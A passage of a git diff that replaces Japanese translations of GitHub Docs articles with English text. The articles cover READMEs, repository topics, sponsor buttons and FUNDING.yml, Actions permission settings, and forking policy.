team is still added as a reviewer but not a required reviewer. -# Anyone can approve the changes. /apps/ @example-org/content-team ``` -## 参考リンク +## Further reading -- [新しいファイルの作成](/articles/creating-new-files) -- [個人リポジトリへのコラボレータの招待](/articles/inviting-collaborators-to-a-personal-repository) -- [Organizationのリポジトリへの個人のアクセスの管理](/articles/managing-an-individual-s-access-to-an-organization-repository) -- [OrganizationのリポジトリへのTeamのアクセスの管理](/articles/managing-team-access-to-an-organization-repository) -- [プルリクエストレビューの表示](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review) +- "[Creating new files](/articles/creating-new-files)" +- "[Inviting collaborators to a personal repository](/articles/inviting-collaborators-to-a-personal-repository)" +- "[Managing an individual's access to an organization repository](/articles/managing-an-individual-s-access-to-an-organization-repository)" +- "[Managing team access to an organization repository](/articles/managing-team-access-to-an-organization-repository)" +- "[Viewing a pull request review](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/viewing-a-pull-request-review)" diff --git a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md index 4a0f6ababd..970ef6ff72 100644 --- a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md +++ b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-readmes.md @@ -1,6 +1,6 @@ --- -title: READMEについて -intro: リポジトリにREADMEファイルを追加して、そのプロジェクトがなぜ有益なのか、そのプロジェクトで何ができるか、そのプロジェクトをどのように使えるかを他者に伝えることができます。 +title: About READMEs +intro: 'You can add a README file to your repository to tell other people why your project is useful, what they can do with your project, and how they can use it.' redirect_from: - /articles/section-links-on-readmes-and-blob-pages/ - /articles/relative-links-in-readmes/ @@ -15,23 +15,22 @@ versions: topics: - Repositories --- +## About READMEs -## READMEについて +You can add a README file to a repository to communicate important information about your project. A README, along with a repository license{% ifversion fpt or ghes > 3.2 or ghae-issue-4651 or ghec %}, citation file{% endif %}{% ifversion fpt or ghec %}, contribution guidelines, and a code of conduct{% elsif ghes %} and contribution guidelines{% endif %}, communicates expectations for your project and helps you manage contributions. -README ファイルをリポジトリに追加して、プロジェクトに関する重要な情報を伝えることができます。 A README, along with a repository license{% ifversion fpt or ghes > 3.2 or ghae-issue-4651 or ghec %}, citation file{% endif %}{% ifversion fpt or ghec %}, contribution guidelines, and a code of conduct{% elsif ghes %} and contribution guidelines{% endif %}, communicates expectations for your project and helps you manage contributions. +For more information about providing guidelines for your project, see {% ifversion fpt or ghec %}"[Adding a code of conduct to your project](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)" and {% endif %}"[Setting up your project for healthy contributions](/communities/setting-up-your-project-for-healthy-contributions)." -プロジェクトのガイドラインの提供方法の詳細については、{% ifversion fpt or ghec %}「[プロジェクトに行動規範を追加する](/communities/setting-up-your-project-for-healthy-contributions/adding-a-code-of-conduct-to-your-project)」および {% endif %}「[健全なコントリビューションのためのプロジェクトの設定](/communities/setting-up-your-project-for-healthy-contributions)」を参照してください。 +A README is often the first item a visitor will see when visiting your repository. README files typically include information on: +- What the project does +- Why the project is useful +- How users can get started with the project +- Where users can get help with your project +- Who maintains and contributes to the project -多くの場合、READMEはリポジトリへの訪問者が最初に目にするアイテムです。 通常、README ファイルには以下の情報が含まれています: -- このプロジェクトが行うこと -- このプロジェクトが有益な理由 -- このプロジェクトの使い始め方 -- このプロジェクトに関するヘルプをどこで得るか -- このプロジェクトのメンテナンス者とコントリビューター +If you put your README file in your repository's root, `docs`, or hidden `.github` directory, {% data variables.product.product_name %} will recognize and automatically surface your README to repository visitors. -README ファイルをリポジトリのルート、`docs`、または隠れディレクトリ `.github` に置けば、{% data variables.product.product_name %} はそれを認識して自動的に README をリポジトリへの訪問者に提示します。 - -![github/scientistリポジトリのメインページとそのREADMEファイル](/assets/images/help/repository/repo-with-readme.png) +![Main page of the github/scientist repository and its README file](/assets/images/help/repository/repo-with-readme.png) {% ifversion fpt or ghes or ghec %} @@ -39,7 +38,7 @@ README ファイルをリポジトリのルート、`docs`、または隠れデ {% endif %} -![ユーザ名/ユーザ名リポジトリの README ファイル](/assets/images/help/repository/username-repo-with-readme.png) +![README file on your username/username repository](/assets/images/help/repository/username-repo-with-readme.png) {% ifversion fpt or ghae-next or ghes > 3.1 or ghec %} @@ -49,27 +48,21 @@ For the rendered view of any Markdown file in a repository, including README fil ![README with automatically generated TOC](/assets/images/help/repository/readme-automatic-toc.png) -The auto-generated table of contents is enabled by default for all Markdown files in a repository, but you can disable this feature for your repository. - -{% data reusables.repositories.navigate-to-repo %} -{% data reusables.repositories.sidebar-settings %} -1. Under "Features", deselect **Table of contents**. ![Automatic TOC setting for repositories](/assets/images/help/repository/readme-automatic-toc-setting.png) - {% endif %} -## READMEファイルのセクションリンクとblobページ +## Section links in README files and blob pages {% data reusables.repositories.section-links %} -## READMEファイル中の相対リンクと画像パス +## Relative links and image paths in README files {% data reusables.repositories.relative-links %} -## Wiki +## Wikis -A README should contain only the necessary information for developers to get started using and contributing to your project. Longer documentation is best suited for wikis. 詳細は「[ウィキについて](/communities/documenting-your-project-with-wikis/about-wikis)」を参照してください。 +A README should contain only the necessary information for developers to get started using and contributing to your project. Longer documentation is best suited for wikis. For more information, see "[About wikis](/communities/documenting-your-project-with-wikis/about-wikis)." -## 参考リンク +## Further reading -- [リポジトリへのファイルの追加](/articles/adding-a-file-to-a-repository) -- 18Fの[Making READMEs readable](https://github.com/18F/open-source-guide/blob/18f-pages/pages/making-readmes-readable.md) +- "[Adding a file to a repository](/articles/adding-a-file-to-a-repository)" +- 18F's "[Making READMEs readable](https://github.com/18F/open-source-guide/blob/18f-pages/pages/making-readmes-readable.md)" diff --git a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md index c4d25ac962..2aa2f07f4f 100644 --- a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md +++ b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/classifying-your-repository-with-topics.md @@ -1,6 +1,6 @@ --- -title: トピックでリポジトリを分類する -intro: あなたのプロジェクトを他の人が見つけて貢献しやすくするために、プロジェクトの目的、分野、主催グループなどの、リポジトリに関するトピックを追加できます。 +title: Classifying your repository with topics +intro: 'To help other people find and contribute to your project, you can add topics to your repository related to your project''s intended purpose, subject area, affinity groups, or other important qualities.' redirect_from: - /articles/about-topics/ - /articles/classifying-your-repository-with-topics @@ -15,26 +15,28 @@ topics: - Repositories shortTitle: Classify with topics --- +## About topics -## Topics について +With topics, you can explore repositories in a particular subject area, find projects to contribute to, and discover new solutions to a specific problem. Topics appear on the main page of a repository. You can click a topic name to {% ifversion fpt or ghec %}see related topics and a list of other repositories classified with that topic{% else %}search for other repositories with that topic{% endif %}. -Topics を利用すれば、特定の領域に関するリポジトリを調べたり、コントリビュートするプロジェクトを見つけたり、特定の問題に対する新たなソリューションを見つけ出すことができます。 Topics は、リポジトリのメインページに表示されます。 Topics 名をクリックして、{% ifversion fpt or ghec %}関連する Topics や、その Topics に分類される他のリポジトリのリストを見たりすることができます。{% else %}そのトピックの他のリポジトリを検索することができます。{% endif %} +![Main page of the test repository showing topics](/assets/images/help/repository/os-repo-with-topics.png) -![Topics を表示しているテストリポジトリのメインページ](/assets/images/help/repository/os-repo-with-topics.png) +To browse the most used topics, go to https://github.com/topics/. -最も利用されているトピックをブラウズするには https://github.com/topics/ にアクセスしてください。 +{% ifversion fpt or ghec %}You can contribute to {% data variables.product.product_name %}'s set of featured topics in the [github/explore](https://github.com/github/explore) repository. {% endif %} -{% ifversion fpt or ghec %}[github/explore](https://github.com/github/explore) リポジトリにある {% data variables.product.product_name %}の注目の Topics 集にコントリビュートできます。 {% endif %} +Repository admins can add any topics they'd like to a repository. Helpful topics to classify a repository include the repository's intended purpose, subject area, community, or language.{% ifversion fpt or ghec %} Additionally, {% data variables.product.product_name %} analyzes public repository content and generates suggested topics that repository admins can accept or reject. Private repository content is not analyzed and does not receive topic suggestions.{% endif %} -リポジトリの管理者は、リポジトリに好きなトピックを追加できます。 リポジトリを分類するのに役立つトピックには、そのリポジトリの意図する目的、主題の領域、コミュニティ、言語などがあります。{% ifversion fpt or ghec %}加えて、{% data variables.product.product_name %}はパブリックなリポジトリの内容を分析し、推奨されるトピックを生成します。リポジトリの管理者は、これを受諾することも拒否することもできます。 プライベートリポジトリの内容は分析されず、Topics が推奨されることはありません。{% endif %} +{% ifversion fpt %}Public and private{% elsif ghec or ghes %}Public, private, and internal{% elsif ghae %}Private and internal{% endif %} repositories can have topics, although you will only see private repositories that you have access to in topic search results. -{% ifversion ghae %}内部{% else %}パブリック、内部、{% endif %}およびプライベートリポジトリも Topics を持つことができますが、Topics の検索結果で見えるプライベートリポジトリはアクセス権を持っているものだけです。 +You can search for repositories that are associated with a particular topic. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories#search-by-topic)." You can also search for a list of topics on {% data variables.product.product_name %}. For more information, see "[Searching topics](/search-github/searching-on-github/searching-topics)." -特定のトピックに関連付けられているリポジトリを検索できます。 詳しい情報については[リポジトリの検索](/search-github/searching-on-github/searching-for-repositories#search-by-topic)を参照してください。 また、{% data variables.product.product_name %} 上でトピックのリストを検索することもできます。 詳細は「[トピックを検索する](/search-github/searching-on-github/searching-topics)」を参照してください。 - -## Topics をリポジトリに追加する +## Adding topics to your repository {% data reusables.repositories.navigate-to-repo %} -2. [About] の右にある {% octicon "gear" aria-label="The Gear icon" %} をクリックします。 ![リポジトリのメイン ページにある歯車アイコン](/assets/images/help/repository/edit-repository-details-gear.png) -3. [Topics] で、リポジトリに追加するトピックを入力してから、スペースを入力します。 ![トピックの入力フォーム](/assets/images/help/repository/add-topic-form.png) -4. トピックの追加が完了したら、[**Save changes**] をクリックします。 ![[Save changes] の [Edit repository details] ボタン](/assets/images/help/repository/edit-repository-details-save-changes-button.png) +2. To the right of "About", click {% octicon "gear" aria-label="The Gear icon" %}. + ![Gear icon on main page of a repository](/assets/images/help/repository/edit-repository-details-gear.png) +3. Under "Topics", type the topic you want to add to your repository, then type a space. + ![Form to enter topics](/assets/images/help/repository/add-topic-form.png) +4. After you've finished adding topics, click **Save changes**. + !["Save changes" button in "Edit repository details"](/assets/images/help/repository/edit-repository-details-save-changes-button.png) diff --git a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md index 9c093d61ff..fd139c7805 100644 --- a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md +++ b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/displaying-a-sponsor-button-in-your-repository.md @@ -1,6 +1,6 @@ --- -title: リポジトリにスポンサーボタンを表示する -intro: あなたのオープンソースプロジェクトに対する資金提供のオプションについての認知度を高めるため、リポジトリにスポンサーボタンを追加できます。 +title: Displaying a sponsor button in your repository +intro: You can add a sponsor button in your repository to increase the visibility of funding options for your open source project. redirect_from: - /github/building-a-strong-community/displaying-a-sponsor-button-in-your-repository - /articles/displaying-a-sponsor-button-in-your-repository @@ -11,40 +11,39 @@ versions: ghec: '*' topics: - Repositories -shortTitle: スポンサーボタンの表示 +shortTitle: Display a sponsor button --- +## About FUNDING files -## FUNDING ファイルについて +You can configure your sponsor button by editing a _FUNDING.yml_ file in your repository's `.github` folder, on the default branch. You can configure the button to include sponsored developers in {% data variables.product.prodname_sponsors %}, external funding platforms, or a custom funding URL. For more information about {% data variables.product.prodname_sponsors %}, see "[About GitHub Sponsors](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)." -デフォルトブランチの、リポジトリ内の `.github` フォルダにある _FUNDING.yml_ ファイルを編集することで、スポンサーボタンを設定できます。 ボタンには、{% data variables.product.prodname_sponsors %} のスポンサード開発者、外部の資金獲得プラットフォーム、またはカスタムの資金獲得 URL を含めることができます。 {% data variables.product.prodname_sponsors %} の詳細は、「[GitHub Sponsors について](/sponsors/getting-started-with-github-sponsors/about-github-sponsors)」を参照してください。 +You can add one username, package name, or project name per external funding platform and up to four custom URLs. You can add up to four sponsored developers or organizations in {% data variables.product.prodname_sponsors %}. Add each platform on a new line, using the following syntax: -外部の資金獲得プラットフォームごとに 1 つのユーザ名、パッケージ名、またはプロジェクト名と、最大 4 つのカスタム URL を追加できます。 {% data variables.product.prodname_sponsors %} には、スポンサード開発者または Organization を最大 4 人追加できます。 追加する場合は、プラットフォームごとに改行し、以下の構文に従ってください: +Platform | Syntax +-------- | ----- +[LFX Mentorship (formerly CommunityBridge)](https://lfx.linuxfoundation.org/tools/mentorship) | `community_bridge: PROJECT-NAME` +[{% data variables.product.prodname_sponsors %}](https://github.com/sponsors) | `github: USERNAME` or `github: [USERNAME, USERNAME, USERNAME, USERNAME]` +[IssueHunt](https://issuehunt.io/) | `issuehunt: USERNAME` +[Ko-fi](https://ko-fi.com/) | `ko_fi: USERNAME` +[Liberapay](https://en.liberapay.com/) | `liberapay: USERNAME` +[Open Collective](https://opencollective.com/) | `open_collective: USERNAME` +[Otechie](https://otechie.com/)| `otechie: USERNAME` +[Patreon](https://www.patreon.com/) | `patreon: USERNAME` +[Tidelift](https://tidelift.com/) | `tidelift: PLATFORM-NAME/PACKAGE-NAME` +Custom URL | `custom: LINK1` or `custom: [LINK1, LINK2, LINK3, LINK4]` -| プラットフォーム | 構文 | -| -------------------------------------------------------------------------------------- | ---------------------------------------------------------- | -| [LFX Mentorship (旧 CommunityBridge)](https://lfx.linuxfoundation.org/tools/mentorship) | `community_bridge: プロジェクト名` | -| [{% data variables.product.prodname_sponsors %}](https://github.com/sponsors) | `github: ユーザ名` または `github: [ユーザ名, ユーザ名, ユーザ名, ユーザ名]` | -| [IssueHunt](https://issuehunt.io/) | `issuehunt: ユーザ名` | -| [Ko-fi](https://ko-fi.com/) | `ko_fi: ユーザ名` | -| [Liberapay](https://en.liberapay.com/) | `liberapay: ユーザ名` | -| [Open Collective](https://opencollective.com/) | `open_collective: ユーザ名` | -| [Otechie](https://otechie.com/) | `otechie: ユーザ名` | -| [Patreon](https://www.patreon.com/) | `patreon: ユーザ名` | -| [Tidelift](https://tidelift.com/) | `tidelift: プラットフォーム名/パッケージ名` | -| カスタム URL | `custom: リンク 1` または `custom: [リンク 1, リンク 2, リンク 3, リンク 4]` | +For Tidelift, use the `platform-name/package-name` syntax with the following platform names: -Tidelift では、`platform-name/package-name` の構文で、以下のプラットフォーム名を用います: +Language | Platform name +-------- | ------------- +JavaScript | `npm` +Python | `pypi` +Ruby | `rubygems` +Java | `maven` +PHP | `packagist` +C# | `nuget` -| 言語 | プラットフォーム名 | -| ---------- | ----------- | -| JavaScript | `npm` | -| Python | `pypi` | -| Ruby | `rubygems` | -| Java | `maven` | -| PHP | `packagist` | -| C# | `nuget` | - -以下は _FUNDING.yml_ ファイルの例です: +Here's an example _FUNDING.yml_ file: ``` github: [octocat, surftocat] patreon: octocat @@ -54,31 +53,34 @@ custom: ["https://www.paypal.me/octocat", octocat.com] {% note %} -**注釈:** 配列内のカスタム URL に `:` が含まれる場合、URL を引用符で囲む必要があります。 たとえば、`"https://www.paypal.me/octocat"` です。 +**Note:** If a custom URL in an array includes `:`, you must wrap the URL in quotes. For example, `"https://www.paypal.me/octocat"`. {% endnote %} -所属する Organization またはユーザアカウント用にデフォルトのスポンサーボタンを作成できます。 詳しい情報については「[デフォルトのコミュニティ健全性ファイルを作成する](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)」を参照してください。 +You can create a default sponsor button for your organization or user account. For more information, see "[Creating a default community health file](/communities/setting-up-your-project-for-healthy-contributions/creating-a-default-community-health-file)." {% note %} -資金獲得リンクは、オープンソースプロジェクトが、コミュニティから直接的に資金援助を受ける方法を提供します。 資金獲得リンクをその他の目的、たとえば広告や、政治団体、地域団体、または慈善団体を支援する目的で利用することについて、弊社ではサポートいたしかねます。 あなたが意図する利用方法がサポートされているかについてのご質問は、{% data variables.contact.contact_support %} にお問い合わせください。 +Funding links provide a way for open source projects to receive direct financial support from their community. We don’t support the use of funding links for other purposes, such as for advertising, or supporting political, community, or charity groups. If you have questions about whether your intended use is supported, please contact {% data variables.contact.contact_support %}. {% endnote %} -## リポジトリにスポンサーボタンを表示する +## Displaying a sponsor button in your repository -管理者権限があるユーザなら誰でも、リポジトリのスポンサーボタンを有効化できます。 +Anyone with admin permissions can enable a sponsor button in a repository. {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -3. [Features] で [**Sponsorships**] を選択します。 ![[Sponsorships] を有効化するチェックボックス](/assets/images/help/sponsors/sponsorships-checkbox.png) -4. [Sponsorships] で、[**Set up sponsor button**] または [**Override funding links**] をクリックします。 ![スポンサーボタンを設定するボタン](/assets/images/help/sponsors/sponsor-set-up-button.png) -5. ファイルエディタで、_FUNDING.yml_ ファイルにある指示に従って、資金獲得の場所へのリンクを追加します。 ![FUNDING ファイルを編集して資金獲得の場所へのリンクを追加する](/assets/images/help/sponsors/funding-yml-file.png) +3. Under Features, select **Sponsorships**. + ![Checkbox to enable Sponsorships](/assets/images/help/sponsors/sponsorships-checkbox.png) +4. Under "Sponsorships", click **Set up sponsor button** or **Override funding links**. + ![Button to set up sponsor button](/assets/images/help/sponsors/sponsor-set-up-button.png) +5. In the file editor, follow the instructions in the _FUNDING.yml_ file to add links to your funding locations. + ![Edit the FUNDING file to add links to funding locations](/assets/images/help/sponsors/funding-yml-file.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %} -## 参考リンク -- 「[オープンソースコントリビューターに対する {% data variables.product.prodname_sponsors %} について](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors)」 -- {% data variables.product.prodname_blog %} の「[{% data variables.product.prodname_sponsors %} Team に関するよくある質問](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/)」 +## Further reading +- "[About {% data variables.product.prodname_sponsors %} for open source contributors](/sponsors/receiving-sponsorships-through-github-sponsors/about-github-sponsors-for-open-source-contributors)" +- "[FAQ with the {% data variables.product.prodname_sponsors %} team](https://github.blog/2019-06-12-faq-with-the-github-sponsors-team/)" on {% data variables.product.prodname_blog %} diff --git a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md index eea5f218a0..cb0ef50a07 100644 --- a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md +++ b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository.md @@ -22,49 +22,50 @@ shortTitle: Manage GitHub Actions settings {% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -## リポジトリの {% data variables.product.prodname_actions %} 権限について +## About {% data variables.product.prodname_actions %} permissions for your repository -{% data reusables.github-actions.disabling-github-actions %} {% data variables.product.prodname_actions %} の詳細は、「[{% data variables.product.prodname_actions %}について](/actions/getting-started-with-github-actions/about-github-actions)」を参照してください。 +{% data reusables.github-actions.disabling-github-actions %} For more information about {% data variables.product.prodname_actions %}, see "[About {% data variables.product.prodname_actions %}](/actions/getting-started-with-github-actions/about-github-actions)." -リポジトリで {% data variables.product.prodname_actions %} を有効化できます。 {% data reusables.github-actions.enabled-actions-description %} リポジトリの {% data variables.product.prodname_actions %} を完全に無効化することができます。 {% data reusables.github-actions.disabled-actions-description %} +You can enable {% data variables.product.prodname_actions %} for your repository. {% data reusables.github-actions.enabled-actions-description %} You can disable {% data variables.product.prodname_actions %} for your repository altogether. {% data reusables.github-actions.disabled-actions-description %} -または、リポジトリで {% data variables.product.prodname_actions %} を有効化して、ワークフローで実行できるアクションを制限することもできます。 {% data reusables.github-actions.enabled-local-github-actions %} +Alternatively, you can enable {% data variables.product.prodname_actions %} in your repository but limit the actions a workflow can run. {% data reusables.github-actions.enabled-local-github-actions %} -## リポジトリの {% data variables.product.prodname_actions %} 権限を管理する +## Managing {% data variables.product.prodname_actions %} permissions for your repository -リポジトリに対するワークフローをすべて無効にすることも、リポジトリでどのアクションを使用できるかを設定するポリシーを設定することもできます。 +You can disable all workflows for a repository or set a policy that configures which actions can be used in a repository. {% data reusables.actions.actions-use-policy-settings %} {% note %} -**注釈:** Organization に優先ポリシーがあるか、優先ポリシーのある Enterprise アカウントによって管理されている場合、これらの設定を管理できない場合があります。 For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" or "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)." +**Note:** You might not be able to manage these settings if your organization has an overriding policy or is managed by an enterprise that has overriding policy. For more information, see "[Disabling or limiting {% data variables.product.prodname_actions %} for your organization](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization)" or "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-github-actions-policies-for-your-enterprise)." {% endnote %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions %} -1. [**Actions permissions**] で、オプションを選択します。 ![この Organization に対するアクションポリシーを設定する](/assets/images/help/repository/actions-policy.png) -1. [**Save**] をクリックします。 +1. Under **Actions permissions**, select an option. + ![Set actions policy for this organization](/assets/images/help/repository/actions-policy.png) +1. Click **Save**. -## 特定のアクションの実行を許可する +## Allowing specific actions to run {% data reusables.actions.allow-specific-actions-intro %} {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions %} -1. [**Actions permissions**] で [**Allow select actions**] を選択し、必要なアクションをリストに追加します。 - {%- ifversion ghes %} - ![許可リストにアクションを追加する](/assets/images/help/repository/actions-policy-allow-list.png) +1. Under **Actions permissions**, select **Allow select actions** and add your required actions to the list. + {%- ifversion ghes > 3.0 %} + ![Add actions to allow list](/assets/images/help/repository/actions-policy-allow-list.png) {%- else %} - ![許可リストにアクションを追加する](/assets/images/enterprise/github-ae/repository/actions-policy-allow-list.png) + ![Add actions to allow list](/assets/images/enterprise/github-ae/repository/actions-policy-allow-list.png) {%- endif %} -2. [**Save**] をクリックします。 +2. Click **Save**. {% ifversion fpt or ghec %} -## パブリックフォークからのワークフローに対する必須の承認の設定 +## Configuring required approval for workflows from public forks {% data reusables.actions.workflow-run-approve-public-fork %} @@ -78,11 +79,11 @@ You can configure this behavior for a repository using the procedure below. Modi {% data reusables.actions.workflow-run-approve-link %} {% endif %} -## プライベートリポジトリのフォークのワークフローを有効にする +## Enabling workflows for private repository forks {% data reusables.github-actions.private-repository-forks-overview %} -### リポジトリのプライベートフォークポリシーを設定する +### Configuring the private fork policy for a repository {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} @@ -98,24 +99,19 @@ The default permissions can also be configured in the organization settings. If {% data reusables.github-actions.workflow-permissions-modifying %} -### デフォルトの`GITHUB_TOKEN`権限の設定 +### Configuring the default `GITHUB_TOKEN` permissions {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} {% data reusables.repositories.settings-sidebar-actions %} -1. [**Workflow permissions**]の下で、`GITHUB_TOKEN`にすべてのスコープに対する読み書きアクセスを持たせたいか、あるいは`contents`スコープに対する読み取りアクセスだけを持たせたいかを選択してください。 ![Set GITHUB_TOKEN permissions for this repository](/assets/images/help/settings/actions-workflow-permissions-repository.png) -1. **Save（保存）**をクリックして、設定を適用してください。 +1. Under **Workflow permissions**, choose whether you want the `GITHUB_TOKEN` to have read and write access for all scopes, or just read access for the `contents` scope. + ![Set GITHUB_TOKEN permissions for this repository](/assets/images/help/settings/actions-workflow-permissions-repository.png) +1. Click **Save** to apply the settings. {% endif %} -{% ifversion fpt or ghes > 3.3 or ghae-issue-4757 or ghec %} +{% ifversion ghes > 3.3 or ghae-issue-4757 or ghec %} ## Allowing access to components in an internal repository -{% note %} - -**注釈:** {% data reusables.gated-features.internal-repos %} - -{% endnote %} - Members of your enterprise can use internal repositories to work on projects without sharing information publicly. For information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-internal-repositories)." To configure whether workflows in an internal repository can be accessed from outside the repository: @@ -123,22 +119,23 @@ To configure whether workflows in an internal repository can be accessed from ou 1. On {% data variables.product.prodname_dotcom %}, navigate to the main page of the internal repository. 1. Under your repository name, click {% octicon "gear" aria-label="The gear icon" %} **Settings**. {% data reusables.repositories.settings-sidebar-actions %} -1. Under **Access**, choose one of the access settings: ![Set the access to Actions components](/assets/images/help/settings/actions-access-settings.png) +1. Under **Access**, choose one of the access settings: + ![Set the access to Actions components](/assets/images/help/settings/actions-access-settings.png) * **Not accessible** - Workflows in other repositories can't use workflows in this repository. - * **Accessible by any repository in the organization** - Workflows in other repositories can use workflows in this repository as long as they are part of the same organization. - * **Accessible by any repository in the enterprise** - Workflows in other repositories can use workflows in this repository as long as they are part of the same enterprise. -1. **Save（保存）**をクリックして、設定を適用してください。 + * **Accessible from repositories in the '<organization name>' organization** - Workflows in other repositories can use workflows in this repository if they are part of the same organization and their visibility is private or internal. + * **Accessible from repositories in the '<enterprise name>' enterprise** - Workflows in other repositories can use workflows in this repository if they are part of the same enterprise and their visibility is private or internal. +1. Click **Save** to apply the settings. {% endif %} ## Configuring the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository -リポジトリ内の {% data variables.product.prodname_actions %} アーティファクトとログの保持期間を設定できます。 +You can configure the retention period for {% data variables.product.prodname_actions %} artifacts and logs in your repository. {% data reusables.actions.about-artifact-log-retention %} -ワークフローによって作成された特定のアーティファクトのカスタム保存期間を定義することもできます。 詳しい情報については、「[アーティファクトの保持期間を設定する](/actions/managing-workflow-runs/removing-workflow-artifacts#setting-the-retention-period-for-an-artifact)」を参照してください。 +You can also define a custom retention period for a specific artifact created by a workflow. For more information, see "[Setting the retention period for an artifact](/actions/managing-workflow-runs/removing-workflow-artifacts#setting-the-retention-period-for-an-artifact)." -## リポジトリの保持期間を設定する +## Setting the retention period for a repository {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} diff --git a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md index acc1ba6386..b5692be81c 100644 --- a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md +++ b/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/managing-the-forking-policy-for-your-repository.md @@ -1,6 +1,6 @@ --- -title: リポジトリのフォークポリシーを管理する -intro: 'Organization が所有する特定のプライベート{% ifversion fpt or ghae or ghes or ghec %}または内部{% endif %}リポジトリのフォークを許可または禁止できます。' +title: Managing the forking policy for your repository +intro: 'You can allow or prevent the forking of a specific private{% ifversion ghae or ghes or ghec %} or internal{% endif %} repository owned by an organization.' redirect_from: - /articles/allowing-people-to-fork-a-private-repository-owned-by-your-organization - /github/administering-a-repository/allowing-people-to-fork-a-private-repository-owned-by-your-organization @@ -14,18 +14,16 @@ versions: ghec: '*' topics: - Repositories -shortTitle: フォークポリシーの管理 +shortTitle: Manage the forking policy --- - -Organization のオーナーは、特定のリポジトリのフォークを許可または禁止する前に、Organization レベルでプライベート{% ifversion fpt or ghae or ghes or ghec %}および内部{% endif %}リポジトリのフォークを許可する必要があります。 詳細は「[Organization のフォークポリシーを管理する](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)」を参照してください。 - -{% data reusables.organizations.internal-repos-enterprise %} +An organization owner must allow forks of private{% ifversion ghae or ghes or ghec %} and internal{% endif %} repositories on the organization level before you can allow or disallow forks for a specific repository. For more information, see "[Managing the forking policy for your organization](/organizations/managing-organization-settings/managing-the-forking-policy-for-your-organization)." {% data reusables.repositories.navigate-to-repo %} {% data reusables.repositories.sidebar-settings %} -3. [Features] の下で [**Allow forking**] (フォークを許可) を選択します。 ![プライベートリポジトリのフォークの許可あるいは禁止のチェックボックス](/assets/images/help/repository/allow-forking-specific-org-repo.png) +3. Under "Features", select **Allow forking**. + ![Checkbox to allow or disallow forking of a private repository](/assets/images/help/repository/allow-forking-specific-org-repo.png) -## 参考リンク +## Further reading -- 「[フォークについて](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)」 +- "[About forks](/pull-requests/collaborating-with-pull-requests/working-with-forks/about-forks)" - "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)" diff --git a/translations/ja-JP/content/repositories/managing-your-repositorys-settings-and-features/managing-repository-settings/setting-repository-visibility.md 